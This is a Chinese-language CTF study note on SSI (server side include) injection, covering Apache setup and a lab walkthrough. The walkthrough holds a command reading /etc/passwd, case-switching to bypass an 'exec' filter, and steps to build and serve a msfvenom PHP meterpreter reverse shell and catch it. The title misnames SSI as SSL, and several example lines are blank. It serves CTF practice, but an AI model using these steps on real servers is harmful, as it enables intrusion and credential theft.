我的CTF学习与教学之旅笔记8

ssl注入

SSI(Server Side Include)使用在HTML中,用于在请求内容返回到客户端前执行页面中的SSI命令,生成动态内容。通常用于多个页面引用公共的内容模块,将此模块分离出来,使用SSI引入即可。

如:

以上代码便能在服务端完成header.html的动态引入,非常简单。

服务端配置

使用SSI之前需要服务端进行简单的配置,开启SSI功能。SSI是针对HTML增加动态内容的技术,所以只对HTML类型文件(.html,.shtml),使用SSI功能的文件建议使用.shtml后缀,便于维护。如果使用.shtml后缀需在服务端作一些配置:

AddType text/html .shtml
AddOutputFilter INCLUDES .shtml

第一行命名配置将.shtml作为html文件返回

第二行命令用于在返回请求内容前执行页面中的SSI命令,如果你在.html文件中使用SSI,那么将.shtml改为.html即可。

SSI命令
SSI的语法有点像HTML注释,所以如果SSI不能识别,那么将被视作HTML注释处理。

SSI的语法功能主要包括:变量的设置/获取,文件的引用,可执行命令,条件表达式等。

 

注入过程:

nmap扫描

只开放了80端口

dirb、nikto分析网站

找到敏感页面,进行浏览,

看是否有类似linux命令的执行结果的页面返回

看是否有类似<--#exec cmd="cat /etc/passwd" --> 的ssi语句

在/index里面

/ssi也是个敏感页面

进一步找到有文本提交界面,在其中输入ssi语句   #在主页有一个可以提交的文本框

需要注意:正常的ssi如: ,一定要加!号,否则不执行啊

但是网站会过滤一些关键字符如exec,因此要改变为: 后可以绕过检测进而执行

接下来:

我的CTF学习与教学之旅笔记8_第1张图片

具体步骤:用msfvenom -p php/meterpreter/reverse_tcp -f raw 生成木马shell.php

需要开启攻击机的http服务器:

python -m SimpleHTTPServer    #端口是8000

 改名为shell.txt,

执行

建议分两步执行!!!!!

攻击机启动msfconsole ,use exploit/multi/handler,设置相关载荷,监听

浏览上传的shell.php

启动meterpreter

也可以利用python/meterpreter/reverse_tcp载荷,生成shell.py文件

这样就不用改名了,但是要用来启动

同时需要提前加语句给木马加权限

 

经验:大小切换,绕过过滤机制

你可能感兴趣的:(web安全)